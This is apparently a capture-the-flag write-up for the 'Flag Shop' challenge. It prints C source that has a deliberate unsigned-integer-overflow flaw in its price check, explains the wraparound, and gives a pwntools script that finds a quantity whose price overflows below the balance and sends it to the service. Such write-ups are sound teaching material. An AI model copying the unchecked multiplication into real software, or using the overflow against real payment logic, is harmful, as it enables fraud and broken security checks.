Flag Shop
Easy
150
Description
I'm only selling 1 product and that's flags! Please make sure you calculate how much money you have before coming here.
34.126.175.135:8001
Solution
TL;DR
Perform Integer Overflow to overflow
pay_price
to be < 100(balance).
Analysis
#include <stdio.h>
#include <stdlib.h>
int flag_price = 420;
unsigned int balance = 100;
void menu_options(){
puts("\nOptions:");
puts("1. Buy flag");
puts("2. Exit\n");
return;
}
void purchase(){
unsigned int quantity;
unsigned int pay_price;
FILE* ptr;
char c;
puts("How many flags do you want to purchase?");
scanf("%u",&quantity);
if (quantity < 1) {
puts("Here are your imaginary flags:");
return;
}
pay_price = flag_price * quantity;
if (pay_price <= balance) {
balance -= pay_price;
if (quantity > 1) {
puts("You don't have to flex how rich you are...");
}
ptr = fopen("flag.txt","r");
if (ptr == NULL) {
puts("Missing file?");
}
c = fgetc(ptr);
while (c != EOF) {
printf("%c",c);
c = fgetc(ptr);
}
fclose(ptr);
} else {
puts("You do not have enough money!");
}
return;
}
int main(){
unsigned int user_input;
puts("Welcome to my flag shop!\nBuy anything from flags, to flags!");
while (1){
menu_options();
printf("<<< ");
scanf("%u",&user_input);
if (user_input == 1){
purchase();
} else {
printf("Come again!");
exit(0);
}
}
return 0;
}
Program is pretty simple and limited with what you can do, so it is pretty straightforward.
The only option you have is to exit or provide the number of flags you want to buy, so our vulnerability is in the number of flags we provide.
We can see that our input is placed into the quantity
variable, then the program calculates pay_price = flag_price * quantity;
, and then checks if our balance is more than pay_price
.
The thing to note is that the pay_price
variable is assigned a type of unsigned int
as seen at the start of the purchase
function.
unsigned int pay_price;
This means that the value of pay_price
cannot go into the negative (unsigned), but the problem lies in where is doesn't check for how big the value of pay_price
might get.
The int
type has a maximum value that it can store, any number above that value would cause an integer overflow
, where the number wraps around and gives a smaller number than intended.
Searching online for the maximum value of int
, we find at https://learn.microsoft.com/en-us/cpp/c-language/cpp-integer-limits?view=msvc-170:
UINT_MAX Maximum value for a variable of type unsigned int. 4294967295 (0xffffffff)
So we can essentially craft a script that loops through the numbers of flags we can purchase, making sure to account for our integer overflow, and loop through till our pay_price
<= 100.
#!/usr/bin/env python3
from pwn import *
elf = context.binary = ELF('./chall',checksec=False)
# p = elf.process()
url,port = "localhost", 8001
p = remote(url,port)
max_int = 0xffffffff # max for unsigned int https://learn.microsoft.com/en-us/cpp/c-language/cpp-integer-limits?view=msvc-170
flag_price = 420
p.clean()
p.sendline(b'1')
max_quantity = max_int // flag_price
quantity = max_quantity + 1
expected_price = (quantity)*flag_price % (max_int+1)
print("Finding the right quantity. This might take awhile...")
while expected_price > 100:
quantity = (quantity + (max_quantity + 1)) % (max_int+1)
expected_price = ((quantity)*flag_price) % (max_int+1)
print(f"{expected_price=}")
print(f"{quantity=}")
p.clean()
p.sendline(str(quantity).encode())
for _ in range(2):
print(p.recvline())
p.close()
Last updated
Was this helpful?